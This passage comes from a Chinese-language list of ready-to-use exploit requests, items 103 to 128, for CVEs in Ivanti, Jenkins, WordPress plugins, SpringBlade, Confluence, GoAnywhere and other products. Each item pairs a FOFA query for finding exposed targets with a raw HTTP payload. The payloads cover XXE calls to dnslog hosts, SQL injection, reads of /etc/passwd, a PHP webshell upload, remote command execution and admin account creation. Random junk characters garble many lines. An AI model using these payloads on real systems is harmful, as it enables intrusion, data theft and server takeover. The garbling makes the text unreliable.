URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
; g& z) |  N$ w1 T  M. {Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
6 r: z4 c  U6 jAccept-Encoding: gzip
1 J5 \+ ]6 P; x5 G, W# }( W. P* N
$ |3 W9 s# q6 d9 xSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


6 K* q! s: L7 a4 R其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
8 S2 B1 t1 d7 y6 ?<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

& T5 C8 @9 O1 @/ ?. k0 R5 y+ U
9 }; T/ T% [1 P104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
& ^: k1 h9 K0 _: ^( BCVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
5 S$ u- n, \+ _' B5 mX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
: {, p' \! ]% H0 RReferer: http://192.168.0.1/advance/index.html?time=1671152380564
4 B- j  Z, v' I+ \$ `Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
"token":""
% Y6 C# V+ U4 ~, G1 ~5 v4 M( H% [}
1 H3 z% |9 R* f3 Q- [: R8 E
105. SpringBlade v3.2.0 export-user SQL 注入
6 R% m, m8 z/ @# e6 QFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
+ V2 }; r" \" L; M1 D
7 w6 X. v/ h% F! t% \106. SpringBlade dict-biz/list SQL 注入
, f3 X  s# S. V9 a! gFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
7 r- k! p: ]9 n' Z( \4 J0 _  J1 oHost: your-ip
7 G: ^  l# f$ @# x1 k9 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
" o5 g: v7 {, I) E4 IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) G( I& Y: S! uConnection: close
& _4 U1 U5 `- J/ o. l
* j& z- b5 Q7 k1 G  y( W7 w& U
9 U+ K: i4 @: }# E* Y) P6 o107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
) E, Y! u; w; s/ _7 P" rGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 b) s4 f( o5 q0 f8 `3 y; rBlade-Auth:替换为自己的
Connection: close
$ V! p9 K5 z' K6 N$ ?% y9 P

108. D-Tale 3.9.0 SSRF
0 A2 ?* E5 X% ^$ l9 {CVE-2024-21642
/ l" a0 |1 N& N! P* I, {FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
8 r* q: }7 _( @/ QHost: your-ip
9 q' @; M/ s( j& `$ HAccept: application/json, text/plain, */*
& Z" \9 T# y. c" @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
: P. e) V( i- `9 uAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
8 G. S* k& I7 `- }0 w6 L* b  u) s
/ s# v4 k  S0 L, [+ y
" }: y9 j5 v$ ~/ ]109. Jenkins CLI 任意文件读取
' S& r6 E/ K% c# I& wCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
6 {  C/ n; m) k4 `# o0 y" I. A* Q( gHost:
$ ~* Z4 x1 O# s. [6 M7 P/ |Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
3 r4 ^" M4 k( Q" l$ O6 i' RSide: upload
" \" |; m+ x# t3 X: C4 TConnection: keep-alive
Content-Length: 163
; x9 x/ `  r# R2 s
6 b" ^( o. ~' B; q1 f2 qb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
9 X: g: [% A5 a+ }1 D

POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
" W! `9 Y& @) {Content-Type: application/x-www-form-urlencoded
( [) `/ d3 f# f( E7 g( V* c  F) TContent-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7 D  m8 h+ |- G/ x/ F' E8 h. f, Gjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
9 \* j9 W$ D' ~, z( ~% ]# l COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

) p: U! w5 A/ b+ q4 [3 B  s
' V& [$ ]2 L  ^' P1 p% f) O  e110. Goanywhere MFT 未授权创建管理员
7 c, k3 ~, O$ ?) s8 J" G+ |. m5 [CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
& L1 Y3 u3 r5 W3 nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


8 F' b7 X: G$ m& D7 c4 g. x111. WordPress Plugin HTML5 Video Player SQL注入
6 k  b" T1 X, N7 z1 yCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
' ~/ L, G3 ~8 c6 HHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
6 a5 C& \2 r- K5 R/ Q9 w1 H$ [Accept: */*
Accept-Language: en
Accept-Encoding: gzip


  q1 H; P& t2 i( l1 @: S! ~112. WordPress Plugin NotificationX SQL 注入
* O$ D" [: t, e- ]2 c; b" QCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
" s) ^" m5 a7 R8 D! C# X! @Content-Type: application/json
- Q% @" x" o% }8 x: T" e2 k5 u
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

* ]: P/ L0 g6 T0 I" p  g5 d4 n
' v/ F& y% Z- l, A% W3 q113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 I" q' S( o  KHost: x.x.x.x
# |; t  X+ Z$ V4 x3 R# G! NUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
. R  t! C' f! D9 h: ?" v: S% ^( QConnection: close
$ m! c2 ~! S/ }% l# p& c. b$ GAccept: */*
9 s$ w+ W; p$ q7 ?; |/ ZAccept-Language: en
Accept-Encoding: gzip
0 Z: `: @* L- ]. b. J  P

114. WordPress MasterStudy LMS插件 SQL注入
# H. h7 ?. B) o' |6 w; f6 aFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
1 s& e3 v! c7 N1 @+ m7 Q) [5 i/ _GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
8 S* V* z" |& i0 fHost: your-ip
" l- B3 [" W" H: M' M& ]User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
1 d9 E( x3 l* h/ K5 h# \Connection: close

( k' `( ~5 H& V
115. WordPress Bricks Builder <= 1.9.6 RCE
* G) I! u) w# b% A- z! L: v  [CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
) z2 \  ^1 X" h9 o( vGET / HTTP/1.1
4 O6 N. R) q" l' P1 O# e4 xHost: x.x.x.x
. y/ H' P: O1 K6 d3 W- |User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
1 N0 E0 {/ I& C% i6 N/ P0 Y3 h/ |- NConnection: close
1 w/ |, s/ u4 o8 |Accept-Encoding: gzip


第二步替换nonce值，执行命令
) B- o, _4 m- y+ Q3 R$ J  F9 FPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
! o9 D! Z2 c1 N  q+ b9 c2 y" {% oContent-Type: application/json
# W* o" b& v9 p; Z# KAccept-Encoding: gzip
) ]9 F# w5 U2 K! o, s3 h) t
" g7 J6 V, B2 ~8 t* k' G# ]{
3 ^2 n( Z1 Z+ W& R"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
$ R- l7 J/ O8 ?5 g, F$ @    "name": "container",
    "settings": {
      "hasLoop": "true",
" Q$ W2 J1 `2 U  V$ J      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
6 B/ a  _  Y1 U/ L6 p        "objectType": "post"
+ f9 f2 P1 v4 ]2 G7 F( y% ~1 L      }
    }
; Y3 l7 _' [8 ]2 h  }
}

3 o3 A8 n& ]4 \, S
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
/ K/ r1 [8 r  G  KPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
7 }3 o1 s, c( Y! f) GUser-Agent: Mozilla/5.0
5 C* X4 M. v9 |4 A5 Z2 p5 a
----------767099171
4 I5 V3 {" |3 V( x8 N% f8 u$ S& wContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
+ S$ X8 ~) F; I/ A. B. pContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
6 S$ s$ Q6 V- {4 l9 T. `" AContent-Type: image/png
----------767099171--

- h  }; Y. c* |- ]& v* V
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
: m. U7 Y' F3 @: a1 FGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
7 h+ ^) |1 j! a- CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 W2 D8 i4 X2 H$ R1 u. B/ `; zAccept-Encoding: gzip, deflate, br
5 X3 O2 s  _! g, a% g6 B; RConnection: close
Upgrade-Insecure-Requests: 1


/ f0 j' ?7 ?) q4 {. G1 ~/ c" c% h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
1 I: ~' m; {; F# I0 _! aCVE-2024-0939
* g7 J% m! b9 h, q6 f1 y% s' zFOFA：title="Smart管理平台"
: T. u: t5 \$ w$ q) E3 P, `POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
7 Y2 Y9 F2 p" c: H0 |7 O9 xCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
6 g# X4 b' t/ y# qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 b0 ~; ^0 }* h3 oAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
  z9 ^' {) a  n7 [Content-Length: 405
8 f' V# a5 H$ @Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
5 N/ \% m/ j7 s& p7 ^7 YUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, x. m! w2 f9 y$ nSec-Fetch-Site: same-origin
8 z7 T. z7 @6 M* QSec-Fetch-User: ?1
Te: trailers
Connection: close

- R  h; }8 Z; Z1 J) {; `/ _-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
$ G) S% t  c! q$ q, M6 [Content-Type: application/octet-stream
" e0 T4 l  o- A9 Z4 y4 p
<?php
system($_POST["passwd"]);
5 z  w9 N9 H. @6 f?>
" X3 G9 d# T. d- [7 {-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
' x% w3 I9 D+ O+ J2 u
. ?+ J2 K8 n! m9 a$ h, B- |/home/src.php
  z  i2 o3 d! _! c-----------------------------13979701222747646634037182887--


2 ?  \) B- z1 ]# Z: |访问/home/src.php

2 w) X8 O2 h* |- y; i119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
( y6 T; ~, b4 p4 IFOFA：title="Smart管理平台"
, k  G* G3 ]; N; Z先登录进入系统，默认账号密码为admin/admin
: I, ]) p; |. F& ~1 v, T; ~  UPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
% g3 ^) i1 j5 S2 F2 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" `/ M5 p& w& G/ N& IContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
1 N+ ^0 W# C0 T) y! HOrigin: https://58.18.133.60:8443
" `( E& z! [3 h2 pReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
/ Y, q0 |$ m  K2 aSec-Fetch-Dest: empty
7 x$ M% ^& ~( v* C5 [; R5 p$ LSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
" K" F1 u/ I$ }. z6 p# S4 @X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
2 ]! W" z3 e1 bX-Remote-Addr: 1.1.1.1
- c( P& X4 w! @) G  E. w1 K; MTe: trailers
# g) X7 m  L, x* m; h2 C. dConnection: close

8 O1 J  ]* \6 g  Osrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

6 B& C' o% {; f( ~+ f( \0 a
( C2 a5 b/ F3 m3 A$ U7 A) m120. 北京百绰智能S40管理平台导入web.php任意文件上传
; }/ Y/ M: X# H9 g; ICVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
( _, _6 U! A% v& F$ dHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
# [* H4 D2 H; S7 c- o0 I7 ]6 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ x2 S  p. s) |- ?. MAccept-Encoding: gzip, deflate
2 l. Y, r; U, L3 s2 @5 rContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
: o$ r/ k0 W; b+ q: l& T5 i2 V0 nOrigin: https://ip:port
& W4 V& {- g$ M6 pReferer: https://ip:port/sysmanage/licence.php
# m% N- ~% m& P% T! L* hUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
0 ~: Y& d; m6 Q' d$ `- i0 k: v" U5 ^# }* ^Sec-Fetch-User: ?1
Te: trailers
0 c3 @) q! ?8 a8 NConnection: close

. u1 Y. w! O8 `) l" t, U* S-----------------------------42328904123665875270630079328
+ v9 H* k9 w% t$ o, ]$ Y) G' tContent-Disposition: form-data; name="file_upload"; filename="2.php"
: m" G; t8 J* g+ A% r+ q6 SContent-Type: application/octet-stream

  z- i9 g1 z  H" z0 F. P  S<?php phpinfo()?>
-----------------------------42328904123665875270630079328
& k& K/ j( T3 s5 k1 g1 f& k+ nContent-Disposition: form-data; name="id_type"
% P9 O; a' z- P: q6 {/ A
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
! P4 V' s( a& t& S/ A" o
8 S& Z/ s, {. _# A: {5 B% P, t1 Zimport
: B% N/ _2 ]& ~( w: y6 g& P-----------------------------42328904123665875270630079328
5 ?, d, \' H3 _. f& l% Y

文件路径/upload/2.php

! l$ o' y, J7 c9 ?121. 北京百绰智能S42管理平台userattestation.php任意文件上传
( {7 j7 [2 R3 W. ]8 ^' x9 o) R) e9 jCVE-2024-1918
FOFA：title="Smart管理平台"
8 ~( z9 h( f( b+ q3 k5 g8 LPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
6 X" _# [! n$ o/ HCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
8 x) C' i; O& w% }( j) }) b" p5 QUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 @7 w9 B* J5 e3 W& L% ^6 @+ [2 B6 fContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
6 \+ t. n3 r; Q: M; L! F( m6 k- m, ?; iContent-Length: 592
Origin: https://192.168.40.130:8443
- r6 v: r3 S: sUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 k, |! e% f& m. ^" t9 a0 v. O/ y+ sSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
' O# c3 s( p# {7 v3 }1 d! USec-Fetch-User: ?1
: e7 t/ D! J% m7 U1 J, `Te: trailers
Connection: close
2 B0 Z( I+ u, S3 v  K
-----------------------------42328904123665875270630079328
6 C7 d8 @; f2 q7 f- i9 I( mContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

* B; e! E$ z9 U& v( K, Z# \<?php phpinfo();?>
+ f. S0 r$ j! W; `& ^4 Z$ M' V-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

: y7 k* f: Y/ j5 b# C) C# S1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

7 u* j8 }( }- n5 s2 q$ R& M+ q1_radhttp
# Q& r# \. _# k( ~0 O  b-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
: n3 v- V- u2 ]
$ m% ~4 Y& r8 u# D1 ?) K" T  qset
7 J% x, o3 a+ }-----------------------------42328904123665875270630079328

& W9 W) X, D0 [* L
boot/web/upload/weblogo/1.php

4 O, ]2 W& o+ y122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
. F- P, m0 T3 @" v3 M+ ^Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 Z  o8 t; q5 E, e" u; p/ J. AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
8 K1 `  A7 Z, c6 K0 g# S7 u3 TSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
9 z  |8 ~  f$ Y% d9 aSec-Fetch-Site: none
1 |5 r/ f# e' ]& f- ^Sec-Fetch-User: ?1
/ ^$ \: p  i4 b; S; R, jTe: trailers
Connection: close
! ]0 M& P; J) A6 i4 L- I: N7 |( c
- h2 |- A' B) o/ ~) O
: [" }5 T6 |$ y4 s; a123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
& r$ F0 W6 a2 ]' F: aHost: localhost:8090
1 a6 G. [& b4 y, u  e. D6 wAccept-Encoding: gzip, deflate, br
Accept: */*
7 p( n$ `* W0 JAccept-Language: en-US;q=0.9,en;q=0.8
- a- E3 X/ G; l8 H& @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
5 P( v" E: ?7 B+ k8 nConnection: close
Content-Type: application/x-www-form-urlencoded

9 ~# z% U8 }7 h; c1 J9 u% m' w3 xlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, ~; v, v" G- i

124. 湖南建研工程质量检测系统任意文件上传
3 c: y! J+ l3 p5 A* NFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
( r7 ^$ L7 g; o9 I1 dHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 O% v0 H3 m- ^2 O9 ]# [: ^8 y" PContent-Length: 72
/ j  Q+ O, H! y* A( oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
* [+ l" d) p; ?: }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
0 A: T7 U& i' F, Z6 h4 Q- g
, v' s# ~1 ^7 A! H, d3 kfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
; ]5 E+ l, z$ s- r" {) n; ~
1 B* }5 b8 ^& S+ s- }
$ R) t' O! x7 M) N; e1 Z0 Zhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
# M8 I( n" c' l7 g" fCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
' q9 i( y7 n( T- s0 o2 d9 S
+ p5 i% i6 v8 V; a* X6 q9 n
5 O' y* K4 V9 o6 b# t1 L: P7 }创建好用户后直接登录后台，可以执行系统命令。
$ I/ U6 ]( `3 m" S
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
, W# E$ j) W2 m" k7 e9 j! OHost: x.x.x.x
' \  n# |  e7 C* p  MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 j0 r% W$ Y1 V5 [( \Connection: close
Accept: */*
Accept-Language: en
. F+ ]7 G# D: |: c% F, @( H9 tAccept-Encoding: gzip
! K, A2 O: U: X/ T! E& U- D
$ l& U3 |" b9 i: `% |" v/ Z
- _8 g; f, G6 d2 J2 W7 Q$ n! o127. 广联达Linkworks DataExchange.ashx XXE
5 |$ b$ Z7 D/ ?FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
: A7 w4 b( q- ~. P- `; l  SHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
+ t" a9 p9 G# I, A4 E$ xContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* s! G1 Y9 x) Y8 Y% `: mContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
# r2 G' @6 K/ o& X3 NSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
1 j5 h6 G3 P8 d0 [Content-Disposition: form-data;name="SystemName"

' g6 o0 q- o4 |* t' HBIM
: Q% O+ l. p' u8 I------WebKitFormBoundaryJGgV5l5ta05yAIe0
8 h5 z4 A, S, ?1 |  X2 k+ q2 I4 pContent-Disposition: form-data;name="Params"
Content-Type: text/plain
& p4 F; A% Q7 h* \7 W
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
6 \- S4 ]( ~5 h1 [<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
0 f4 o3 ?: M: B) w>
8 Q0 F5 ~3 @# S2 \$ w* m<test>&t;</test>
3 R3 u, p# c- a, O3 ?/ x5 k------WebKitFormBoundaryJGgV5l5ta05yAIe0--


4 ]6 {9 L; L$ ~
; j& V7 m( I  o4 Z128. Adobe ColdFusion 反序列化
& [9 R" }  s3 iCVE-2023-38203
